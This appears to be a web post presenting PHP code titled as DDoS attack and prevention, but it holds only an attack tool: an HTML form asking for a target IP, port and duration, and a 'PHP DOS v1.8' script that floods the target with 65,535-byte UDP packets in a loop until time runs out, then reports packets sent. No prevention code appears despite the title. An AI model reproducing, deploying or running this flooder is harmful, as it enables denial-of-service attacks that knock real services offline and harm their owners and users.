Ddos attack and prevention code under php

$ip = $_SERVER['REMOTE_ADDR'];
?>





PHP DoS, Coded by EXE







Your IP:  (Don't DoS yourself nub)

IP:

Time:

Port:





After initiating the DoS attack, please wait while the browser loads.

文件：function.php

//=========================================
//PHP DOS v1.8 (Possibly Stronger Flood Strength)
//Coded by EXE
//@link http://bbs.it-home.org
//=========================================
$packets = 0;
$ip = $_POST['ip'];
$rand = $_POST['port'];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_POST['time'];
$time = time();
print "Flooded: $ip on port $rand ";
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= "X";
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen("udp://$ip", $rand, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo "Packet complete at ".time('h:i:s')." with $packets (" . round(($packets*65)/1024, 2) . " mB) packets averaging ". round($packets/$exec_time, 2) . " packets/s n";
?>